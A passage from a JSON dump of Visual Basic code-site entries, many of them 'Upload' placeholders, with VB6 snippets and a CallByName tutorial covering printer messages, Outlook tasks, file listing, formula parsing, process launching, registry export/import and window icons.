CallWindowProc(mlPrevProc, hwnd, uMsg, wParam, lParam)\nEnd Function\nPut the following code in a form.\nOption Explicit\nPrivate Sub Form_Load()\n Hook Text1\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n UnHook Text1\nEnd Sub"},{"WorldId":1,"id":14708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14723,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14725,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14756,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14757,"LineNumber":1,"line":"report.ReportFileName = gvPath & \"\\cheques.rpt\"\nreport.CopiesToPrinter = InputBox(\"How many copies would you like to print\")\nreport.SelectionFormula = \"{cheques.date} in Date (\" & Format$(Startdatetextbox.Value, \"yyyy,mm,dd\") & \") to Date (\" & Format$(enddatetextbox.Value, \"yyyy,mm,dd\") & \")\"\nreport.ReportTitle = \"Report between\" & \" \" & Format$(Startdatetextbox.Value, \"long date\") & \" \" & \"and\" & \" \" & Format(enddatetextbox.Value, \"long date\")\nreport.Action = 1"},{"WorldId":1,"id":14759,"LineNumber":1,"line":"Introduction:\nWhen I was browsing PSC some time ago, I found a scripting language.\nSomebody commented on it that it was using many \"If...Then...End if\" structures to process all the commands.\nWell there's an alternative to this in VB6 (only!), and it will give you less work, and increases your programs overall speed!\nThis alternative is called... CallByName\nCallByName allows programmers to call any function, sub or property by the name of it.\nI'm going to demostrate this with a small, and easy understandable math program. This math program will be very simple, but it will effectively show you how to use CallByName. I've attached the source code as a zip file, so you can easily see how to use CallByName without having to build the enitre sample app from this tutorial!\nThis tutorial shows how you can call a method(Function/Sub) and how to change a property.\n<H2>Tutorial 1 - Methods</H2>\nOkay let's get started. In this program we are going to use the following controls:\n┬á2 Text boxes: Named txtValue1 and txtValue2 \n┬á1 Combo box: Named cmbAction \n┬á1 Label: Named lblResult \n┬á1 command button: Named cmdExecute\nI've named the form \"frmMain\". This is standard for all my projects. it isn't really necassary for this project though.\nThe placement of the controls does not really matter.\nOkay double click on the form so that you get the code window, and add the following:\n<code>Public Sub Form_Load() \n\n ┬áWith cmbAction \n ┬á ┬á .AddItem \"Multiply\" \n ┬á ┬á .AddItem \"Minus\" \n ┬á ┬á .AddItem \"DivideBy\" \n ┬á ┬á .AddItem \"Plus\" \n ┬á ┬á .ListIndex = 0 \n \n ┬á End With \nEnd Sub</code>\nThe items added to the combobox are the \"mathematical actions\" we're going to use in our sample application.\n<CODE>Listindex = 0</CODE> only sets the first item as an active item.\nNow, we have to make our command button \"cmdExecute\" do something. So, add the following code:\n<CODE>\nPrivate SubcmdExecute_Click() \n ┬álblResult.Caption = CallByName(frmMain, cmbAction.Text, VbMethod, txtValue1, txtValue2) \nEnd Sub\n</CODE>\nThis is the important part, especially for this tutorial. That's why I'm going to explain it very detailed. \nThe syntax of CallByName is as following:\n<DL>\n<DT><CODE>Function CallByName(Object As Object, ProcName As String, CallType As VbCallType, Args() As Variant)</CODE></DT>\n<DD>\n <CODE>Object as Object</CODE>: This is the object that contains the property/procedure you're calling by name. \n\t So if you want to use the \"Left\" property of a command button, the object should be the command button. \n\t If it's a procedure in a form, you need to put the form name here.\n <CODE>ProcName As String</CODE>: When calling CallByName you have to specify the property/procedure you're going \tto call or modify, in this sub. So if you want to call the \"Left\" property of a command button, you need to put \t\"Left\" here.\n <CODE>CallType as VbCallType</CODE>: Specify's the type of thing you're calling. A Property(VbLet,VbGet,VbSet) or a \tprocedure(VbMethod). In this example we are going to use VbMethod, because we are going to call functions.\n <CODE>Args() As Variant</CODE>: This is not a real array, like you might think. You just have to put all the values you \twant to use after each other (with \",\" as separator). They have to match the Method/Property you're calling! In our example we are going to use functions which need to values. txtValue1 and txtValue2. Now if you're going to change a property \"Left\" of a command button, you just specify one new value, which is going to be the new \"Left\" value.\n</DD>\n</DL>\n\nI hope you all understand this. It looks complex the first time, but with some code, you're going to find this very easy! \nWe're now going to put our mathematical code into the program. It's very simple math. \nI'm not all too good in Math, but the main point is that you understand how to use CallByName\nAdd the following code: \nPublic Function Multiply(lngValue1 As Long, lngValue2 As Long) As Long \n ┬á┬áMultiply = lngValue1 * lngValue2 \nEnd Function\nPublic Function Minus(lngValue1 As Long, lngValue2 As Long) As Long \n ┬á┬áMinus = lngValue1 - lngValue2 \nEnd Function\nPublic Function DivideBy(lngValue1 As Long, lngValue2 As Long) As Long \n ┬á┬áDivideBy = lngValue1 / lngValue2 \nEnd Function\nPublic Function Plus(lngValue1 As Long, lngValue2 As Long)As Long \n ┬á┬áPlus = lngValue1 + lngValue2 \nEnd Function\nWell, those functions should be self explaining. They require two values, and then they do the action represented by the Function's name. \nGot everything ready? Okay run the program [F5]. \nEnter a number in both textboxes. Very high numbers will probably cause an \"Overflow\", so don't enter malicious numbers :o)\n\nNow, when you press the command button the action you have chosen in the combo box will be executed! \nOnly by using the name of the Procedure, and the CallByName method.\n<H2>Tutorial 2 - Properties</H2>\nCallByName can also be used for setting and retrieving properties. I'll show you how you do that. The source code is also available in the zipfile I earlier mentioned.\nThe sample application will change the caption of the form (Let), enable/disable a timer (Get/Let), and move a command button around the form. \nIn this tutorial, we need the following controls: \n1 Form: Named FrmMain. ScaleMode = VbPixel (3)! \n2 Command buttons: Named cmdChangeCaption and cmdEnableTimer \n1 Timer: Named tmrMove. Interval = 100 \nPlacement does not really matter.\nWe are going to change the Form's caption first. Add the following code to the command button named \"cmdChangeCaption\":\n<CODE>Private Sub cmdChangeCaption_Click() \n ┬á┬áCallByName frmMain, \"Caption\", VbLet, \"CallByName - Tutorial 2\" \nEnd Sub</CODE>\nSo what does this code do? Well, when you click on the command button, it will change the caption of the form to \"CallByName - Tutorial 2\". VbLet means that you set the property of an object.\nNow where are going to add some code that might look complex, but in fact it really isn't. \nAdd the following code to cmdEnableTimer:\n<CODE>Private Sub cmdEnableTimer_Click() \n ┬á┬áCallByName tmrMove, \"Enabled\", VbLet, Not CallByName(tmrMove, \"Enabled\", VbGet) \nEnd Sub</CODE>\nThis code sets the property \"Enabled\" of the timer. The code is made very efficient, because when you press again it will set the propery to the inverse of the current state. True-False-True-False, and so on... It retrieves the property using CallByName using \"VbGet\".\nAt the moment, the timer does nothing. So let's change that. Add the following code to \"tmrMove\":\n<CODE>Private Sub tmrMove_Timer() \n ┬á┬áCallByName cmdEnableTimer, \"Left\", VbLet, CInt(Rnd(frmMain.ScaleWidth)) * 100 \n ┬á┬áCallByName cmdEnableTimer, \"Top\", VbLet, CInt(Rnd(frmMain.ScaleHeight)) * 100 \nEnd Sub</CODE>\nThis code will put the command button on random places (in your form), after you press \"Enable Timer\". \nIf you click again on the button. (Or press enter when it has the focus) the Timer will disable. Pressing it again will enable it, and so forth...\nI hope you enjoyed my first tutorial! If there are any comments please do not hesitate to write them down!\nCheers, \nAlmar Joling \n<A HREF=\"mailto:ajoling@quadrantwars.com\">ajoling@quadrantwars.com</A> \n<A HREF=\"http://www.quadrantwars.com\">http://www.quadrantwars.com</A> \n(Completed on 27/01/2001)\n"},{"WorldId":1,"id":14760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14780,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14794,"LineNumber":1,"line":"' PJL.bas - set the status message on PJL printers (HP LaserJet etc)\n'\n' Based on Q154078 at support.microsoft.com which says how to write raw data to the printer\n' and plint (a qbasic program)\n'\nOption Explicit\n'\n' Structure required by StartDocPrinter\n'\nPrivate Type DocInfo\n pDocName As String\n pOutputFile As String\n pDatatype As String\nEnd Type\nDim hPrinter As Long\nDim pjlHeader As String\nDim pjlRdyMsg As String\nDim pjlFooter As String\nPrivate Sub InitEscapeCodes()\n' Private function to setup escape codes\npjlHeader = Chr(27) & \"%-12345X@PJL\" & vbLf\npjlRdyMsg = \"@PJL RDYMSG DISPLAY=\"\npjlFooter = Chr(27) & \"%-12345X\" & vbLf\nEnd Sub\nPublic Sub PJL_OpenPrinter(PrinterName As String)\n' Call this function before you start sending messages\n' Normally set PrinterName to Printer.DeviceName, but you might want to print to the non default printer\nDim MyDoc As DocInfo\nIf OpenPrinter(PrinterName, hPrinter, 0) = 0 Then MsgBox \"Can't print to \" & PrinterName: Exit Sub\nMyDoc.pDocName = \"Document\"\nMyDoc.pOutputFile = vbNullString\nMyDoc.pDatatype = vbNullString\nStartDocPrinter hPrinter, 1, MyDoc\nCall StartPagePrinter(hPrinter)\nInitEscapeCodes\nEnd Sub\nPublic Sub PJL_ClosePrinter()\n' Call this when you have finished writing messages, then they will be spooled\nEndPagePrinter hPrinter\nEndDocPrinter hPrinter\nClosePrinter hPrinter\nhPrinter = Empty\nEnd Sub\nPublic Sub PJL_WriteMessage(message As String)\n' Call this to set a message for the display\n' If string is too long for screen it will chop off the end\n' If you have two lines on your printer the second line is just a continuation of the first\n' If you set it more than once the lines will appear one after the other with 1s delay between them\nDim bDone As Long: Dim pjlCmd As String\nIf hPrinter = Empty Then MsgBox \"Please open the printer first\"\npjlCmd = pjlRdyMsg & Chr(34) & message & Chr(34) & vbLf\nWritePrinter hPrinter, ByVal pjlHeader, Len(pjlHeader), bDone\nWritePrinter hPrinter, ByVal pjlCmd, Len(pjlCmd), bDone\nWritePrinter hPrinter, ByVal pjlFooter, Len(pjlFooter), bDone\nEnd Sub\n"},{"WorldId":1,"id":14797,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14848,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14881,"LineNumber":1,"line":"'Simple Outlook Task View/Add Code\n'Troy Blake - Logan's Roadhouse, Inc.\nPrivate Sub InitForm()\n 'Loads current task to dropdown, then adds\n 'a task for John Smith. John gets the task\n 'sent to him via Outlook.\n Dim oApp as Outlook.Application\n Dim oNspc as NameSpace\n Dim oItm as TaskItem\n Dim myItem as TaskItem\n Set oApp = CreateObject(\"Outlook.Application\")\n Set oNspc = oApp.GetNamespace(\"MAPI\")\n For Each oItm in oNspc.GetDefaultFolder(olFolderTasks).Items\n 'Loop through all tasks and show subject \n 'in dropdown.\n With Me.cboTasklist\n .AddItem (oItm.Subject)\n End With\n Next oItm\n oNspc.GetDefaultFolder(olFolderTasks).Items.Add\n Set myItem = oApp.CreateItem(olTaskItem)\n 'Create a new task\n With myItem\n .Subject = \"Subject\"\n .Assign = \"Assign\"\n .Body = \"Task Body\"\n .PercentComplete = 10\n 'Set due date for tomorrow\n .DueDate = DateAdd(\"d\",1,Date)\n .ReminderSet = True\n .ReminderTime = \"9:00 AM\"\n 'Outlook name of person to get task\n .Recipients.Add \"John Smith\"\n .Close (olSave)\n End With\n 'Send the task (like email)\n myItem.Send\n Set myItem = Nothing\n Set oItm = Nothing\n Set oNspc = Nothing\n Set oApp = Nothing\nEnd Sub\nPrivate Sub Form_Load()\n 'Call out sample sub at form load\n InitForm\nEnd Sub\n"},{"WorldId":1,"id":14884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14891,"LineNumber":1,"line":"Private Function FileList(ByVal Pathname As String, Optional DirCount As Long, Optional FileCount As Long) As String\n 'Returns a string containing all files\n 'at this directory level and lower.\n 'Example of usage:\n ' RichTextBox1.Text = FileList(\"c:\\windows\")\n \n Dim ShortName As String, LongName As String\n Dim NextDir As String\n Static FolderList As Collection\n \n Screen.MousePointer = vbHourglass\n \n 'First time through only, create collection\n 'to hold folders waiting to be processed.\n If FolderList Is Nothing Then\n Set FolderList = New Collection\n FolderList.Add Pathname\n DirCount = 0\n FileCount = 0\n End If\n \n Do\n 'Obtain next directory from list\n NextDir = FolderList.item(1)\n \n 'Remove next directory from list\n FolderList.Remove 1\n \n 'List files in directory\n ShortName = Dir(NextDir & \"\\*.*\", vbNormal Or _\n vbArchive Or _\n vbDirectory)\n Do While ShortName > \"\"\n If ShortName = \".\" Or ShortName = \"..\" Then\n 'skip it\n Else\n 'process it\n LongName = NextDir & \"\\\" & ShortName\n If (GetAttr(LongName) And vbDirectory) > 0 Then\n 'it's a directory - add it to the list of directories to process\n FolderList.Add LongName\n DirCount = DirCount + 1\n Else\n 'it's a file - add it to the list of files.\n FileList = FileList & LongName & vbCrLf\n FileCount = FileCount + 1\n End If\n End If\n ShortName = Dir()\n Loop\n Loop Until FolderList.Count = 0\n \n Screen.MousePointer = vbNormal\nEnd Function\n"},{"WorldId":1,"id":14892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14898,"LineNumber":1,"line":"Public Function calc(sFormula As String) As Double\n'This is a recursive function to calculate a valid\n'math formula.\n \n Dim sHead As String, sTail As String\n Dim sTemp As String, lPos As Long\n Dim cnt As Long, dblTemp As Double\n Dim I As Long\n \n cnt = 0\n If InStr(sFormula, \"(\") > 0 Then\n 'calculate the string within bracket first\n lPos = InStr(sFormula, \"(\")\n For I = lPos + 1 To Len(sFormula)\n If Mid(sFormula, I, 1) = \"(\" Then cnt = cnt + 1\n If Mid(sFormula, I, 1) = \")\" Then\n If cnt = 0 Then Exit For\n cnt = cnt - 1\n End If\n Next\n sTemp = Mid(sFormula, lPos + 1, I - lPos - 1)\n dblTemp = calc(sTemp)\n sTemp = Replace(sFormula, \"(\" & sTemp & \")\", CStr(dblTemp))\n calc = calc(sTemp)\n ElseIf InStr(sFormula, \"+\") > 0 Then\n 'Add\n lPos = InStr(sFormula, \"+\")\n sHead = Left(sFormula, lPos - 1)\n sTail = Right(sFormula, Len(sFormula) - lPos)\n calc = calc(sHead) + calc(sTail)\n ElseIf InStr(sFormula, \"-\") > 0 Then\n 'Subtract\n lPos = InStr(sFormula, \"-\")\n sHead = Left(sFormula, lPos - 1)\n sTail = Right(sFormula, Len(sFormula) - lPos)\n calc = calc(sHead) - calc(sTail)\n ElseIf InStr(sFormula, \"*\") > 0 Then\n 'Multiply\n lPos = InStr(sFormula, \"*\")\n sHead = Left(sFormula, lPos - 1)\n sTail = Right(sFormula, Len(sFormula) - lPos)\n calc = calc(sHead) * calc(sTail)\n ElseIf InStr(sFormula, \"/\") > 0 Then\n 'Divide\n lPos = InStr(sFormula, \"/\")\n sHead = Left(sFormula, lPos - 1)\n sTail = Right(sFormula, Len(sFormula) - lPos)\n calc = calc(sHead) / calc(sTail)\n Else\n calc = CDbl(sFormula)\n End If\nEnd Function\n"},{"WorldId":1,"id":14899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14903,"LineNumber":1,"line":"Public Function GetUniqueId() As String\n GetUniqueId = Trim(Str(CDbl(Now) * 10000000000#))\nEnd Function"},{"WorldId":1,"id":14904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14905,"LineNumber":1,"line":"'Paste all this in the form code of a new project, run it, and step into it to follow the process:\n' This is a redeclaration of VB's VarPtr that forces it to return the address of the array descriptor structure:\nPrivate Declare Function GetArrayPtr Lib \"msvbvm60.dll\" Alias \"VarPtr\" ( _\n Ptr() As Any _\n) As Long\n' This is a translation into VB code of C++'s safearray descriptor structure:\nPrivate Type SafeArrayBound\n lNumOfElements As Long\n lLowBound As Long\nEnd Type\nPrivate Type SafeArr\n iDimensions As Integer\n iFeatures As Integer\n lElementSize As Long\n lLocks As Long\n lDataPtr As Long\n saBound(0) As SafeArrayBound\nEnd Type\nPrivate Const FADF_AUTO = &H1\t\t' Array is allocated on the stack.\nPrivate Const FADF_FIXEDSIZE = &H10\t' Array may not be resized or reallocated.\nPrivate Sub FillMyBytesArray()\nDim Bytes() As Byte ' creates an array descriptor of type SafeArr pointing to no data\nDim sMyString As String ' will hold data that I'll use as the data that Bytes() is pointing to\nDim aMySAB(0) As SafeArrayBound\nDim aMySA As SafeArr\nDim sResult As String\nDim i As Integer\n sMyString = \"This is a relatively short string\"\n ' create the descriptor that will replace the Bytes() array descriptor declared above\n With aMySAB(0) ' Description of an array dimension (size and lbound)\n ' the string is stored as unicode, which means that the 1st word is stored as \"T\" + chr(0) + \"h\" + chr(0) + \"i\" + chr(0) + \"s\" + chr(0)\n ' so that there are really twice as many bytes stored as the length of the string:\n .lNumOfElements = 2 * Len(sMyString) ' number of elements in this array dimension\n .lLowBound = 0 ' specifies the array's Lbound value\n End With\n With aMySA\n ' this is a 1-dimension byte array:\n .iDimensions = 1\n .lElementSize = 1 ' size of each element\n .iFeatures = FADF_AUTO Or FADF_FIXEDSIZE ' Flags that enable array features.\n .lDataPtr = VarPtr(ByVal sMyString) ' make the descriptor point to the declared string data. ByVal is VERY important.\n .saBound(0) = aMySAB(0) ' describes each dimension of the array, in this case only one.\n End With\n ' move the memory contents of the descriptor to the address of the Bytes() array descriptor, the ByVal is VERY important if you don't want to overwrite memory and risk a crash!\n CopyMemory ByVal GetArrayPtr(Bytes), VarPtr(aMySA), 4\n ' Reattach all the bytes together to reconstruct sMyString. Notice that Bytes() now has data, and that there is no error calling Ubound(Bytes):\n For i = 0 To UBound(Bytes)\n sResult = sResult & Chr(Bytes(i))\n Next i\n ' Since we read the string data directly from memory, we have unicode, and we have to disregard all odd array indexes, or convert the result string from unicode:\n sResult = StrConv(sResult, vbFromUnicode)\n ' now sResult contains the same data as sMyString.\nEnd Sub\nPrivate Suv Form_Load()\n FillMyBytesArray ' call the sub above\nEnd Sub\n' I will post more on this topic if it becomes popular\n"},{"WorldId":1,"id":14906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14912,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14916,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14930,"LineNumber":1,"line":"To Display VB Credits, just follow these few steps\nStart Visual Basic 5.0/6.0 \nIf you get the New Project dialog box, just click Open. \nClick the View menu, point to Toolbars, and click Customize. \nGo to Commands tab. \nClick the Help category, and drag the About Microsoft Visual Basic item into the help menu. \nClick the Modify Selection button and set the name for the newly inserted menu item to \"Show VB Credits\" without the quotation marks. \nClick the Close button. \nFrom the Help menu, choose Show VB Credits."},{"WorldId":1,"id":14938,"LineNumber":1,"line":"Function ShellAndWait(strCommandLine As String, lWait As Long) As Long\n Dim objProcess As PROCESS_INFORMATION\n Dim objStartup As STARTUPINFO\n Dim lResult As Long\n Dim lExitCode As Long\n \n objStartup.cb = 68\n objStartup.lpReserved = 0\n objStartup.lpDesktop = 0\n objStartup.lpTitle = 0\n objStartup.dwX = 0\n objStartup.dwY = 0\n objStartup.dwXSize = 0\n objStartup.dwYSize = 0\n objStartup.dwXCountChars = 0\n objStartup.dwYCountChars = 0\n objStartup.dwFillAttribute = 0\n objStartup.dwFlags = 0\n objStartup.wShowWindow = 0\n objStartup.cbReserved2 = 0\n objStartup.lpReserved2 = 0\n objStartup.hStdInput = 0\n objStartup.hStdOutput = 0\n objStartup.hStdError = 0\n \n 'try and Create the process\n lResult = CreateProcess(0, strCommandLine, 0, 0, 0, 0, 0, 0, objStartup, objProcess)\n If lResult = 0 Then\n ShellAndWait = -1\n Exit Function\n End If\n \n 'now, wait on the process\n If lWait <> 0 Then\n lResult = WaitForSingleObject(objProcess.hProcess, lWait)\n If lResult = 258 Then 'did we timeout?\n lResult = TerminateProcess(objProcess.hProcess, -1)\n lResult = WaitForSingleObject(objProcess.hProcess, lWait)\n End If\n End If\n \n 'let's get the exit code from the process\n lResult = GetExitCodeProcess(objProcess.hProcess, lExitCode)\n lResult = CloseHandle(objProcess.hProcess)\n lResult = CloseHandle(objProcess.hThread)\n \n ShellAndWait = lExitCode\nEnd Function\n"},{"WorldId":1,"id":14941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14950,"LineNumber":1,"line":"Function ExportNode(sKeyPath As String, sOutFile As String)\n'\n'Example:\n'ExportNode \"HKEY_LOCAL_MACHINE\\software\\microsoft\",\"c:\\windows\\desktop\\out.reg\"\n'\n'/E (Export) switch\nShell \"regedit /E \" & sOutFile & \" \" & sKeyPath\nEnd Function\nFunction ImportNode(sInFile As String)\n'\n'Example:\n'ImportNode \"c:\\windows\\desktop\\reg.reg\"\n'\n'/I (Import) /S (Silent) switchs\nShell \"regedit /I /S \" & sInFile\nEnd Function"},{"WorldId":1,"id":14954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14964,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14965,"LineNumber":1,"line":"Private Function Split2D(StringToSplit, FirstDelimiter, SecondDelimiter)\nDim X As Integer, _\n Y As Integer, _\n FirstBound As Integer, _\n SecondBound As Integer, _\n ResultArray()\ntemparray = Split(StringToSplit, FirstDelimiter)\nFirstBound = UBound(temparray)\nFor X = 0 To FirstBound\n temparray2 = Split(temparray(X), SecondDelimiter)\n If UBound(temparray2) > SecondBound Then SecondBound = UBound(temparray2)\nNext\nReDim ResultArray(FirstBound, SecondBound)\nFor X = 0 To FirstBound\n temparray2 = Split(temparray(X), SecondDelimiter)\n For Y = 0 To UBound(temparray2)\n ResultArray(X, Y) = temparray2(Y)\n Next\nNext\nSplit2D = ResultArray\nEnd Function"},{"WorldId":1,"id":14966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14997,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15005,"LineNumber":1,"line":"Public Function GetIconHandle(hWnd As Long) As Long\n' OK, This function is confusing\n' Many windows have different ways of handling Icons.\n'---------------------------\n'1. All VB apps use SendMessage(..WM_GETICON..) to get the Icon (not only VB apps)\n'2. Other Programs like GetClassInfoEx(..) (most non-SendMessage Apps)\n'3. Others Like GetClassInfo(..) (Very Rare)\n'4. And the rest like GetClassLong(GCL_HICON) (The rest.)\n'----------------------------\n' Any program that doesn't work with these 4 methods have issues.\n'\n' All apps I have tried work fine with these 4 methods.. one or the other.\n'\n \n'*************************************\n'Method: SendMessage (Small Icon)\n'*************************************\n Dim hIcon As Long\n frmMain.Text1.Text = \"\"\n ' First, Try for the small icon. This would be nice.\n hIcon = SendMessage(hWnd, WM_GETICON, CLng(0), CLng(0))\n \n If hIcon > 0 Then GetIconHandle = hIcon: Exit Function ' found it\n ' Nope, keep trying\n \n \n'*************************************\n'Method: SendMessage (Large Icon)\n'*************************************\n ' Hmm.. No small Icon, Try LARGE icon.\n hIcon = SendMessage(hWnd, WM_GETICON, CLng(1), CLng(0))\n \n If hIcon > 0 Then GetIconHandle = hIcon: Exit Function ' found it\n ' Nope, keep trying\n \n \n'*************************************\n'Method: GetClassInfoEx (Small or Large with Small Pref.)\n'*************************************\n \n Dim ClassName As String\n Dim WCX As WNDCLASSEX\n Dim hInstance As Long\n \n ' First, get the Instance of the Class via GetWindowLong\n hInstance = GetWindowLong(hWnd, GWL_HINSTANCE)\n \n ' Now set the Size Value of WndClassEx\n WCX.cbSize = Len(WCX)\n \n ' Set The ClassName variable to 255 spaces (max len of the class name)\n ClassName = Space(255)\n \n Dim X As Long ' temp variable\n ' Get the Classname of hWnd and put into ClassName (max 255 chars)\n X = GetClassName(hWnd, ClassName, 255)\n \n ' Now Trim the Classname and add a NullChar to the end (reqd. for GetClassInfoEx)\n ClassName = Left$(ClassName, X) & vbNullChar\n \n ' Now, if GetClassInfoEx(..) Returns 0, their was an error. >0 = No probs\n X = GetClassInfoEx(hInstance, ClassName, WCX)\n If X > 0 Then\n ' Returned True\n ' So we should now have both WCX.hIcon and WCX.hIconSm\n If WCX.hIconSm = 0 Then 'No small icon\n hIcon = WCX.hIcon ' No small icon.. Windows should have given default.. weird\n Else\n hIcon = WCX.hIconSm ' Small Icon is better\n End If\n GetIconHandle = hIcon ' found it =]\n Exit Function\n \n End If\n \n \n'*************************************\n'Method: GetClassInfo (Large Icon)\n'*************************************\n \n ' Hmm.. ClassInfoEX failed, Try ClassInfo\n Dim WC As WNDCLASS\n X = GetClassInfo(hInstance, ClassName, WC)\n If X > 0 Then\n ' Woohoo.. dunno why but it liked that\n hIcon = WC.hIcon\n GetIconHandle = hIcon: Exit Function ' Found it\n End If\n \n \n'*************************************\n'Method: GetClassLong (Large Icon)\n'*************************************\n ' Hmm.. One more try\n X = GetClassLong(hWnd, GCL_HICON)\n If X > 0 Then\n ' Yay, about time.. annoying windows.. Example: NOTEPAD\n hIcon = X\n Else\n ' This is most prob a Icon-less window.\n hIcon = 0\n End If\nIf hIcon < 0 Then hIcon = 0 ' Handles must be > 0\nGetIconHandle = hIcon\nEnd Function\n"},{"WorldId":1,"id":15009,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15040,"LineNumber":1,"line":"Option Explicit\nPublic Function Services() As Boolean\n \n Dim oCol As New Collection\n Dim oSysInfo As New ActiveDs.WinNTSystemInfo\n Dim oComp As ActiveDs.IADsComputer\n Dim oSvc As ActiveDs.IADsServiceOperations\n Dim sCompName As String\n \n On Error Resume Next\n Services = False\n sCompName = \"WinNT://\" & oSysInfo.ComputerName & \",computer\"\n Set oComp = GetObject(sCompName)\n oComp.Filter = 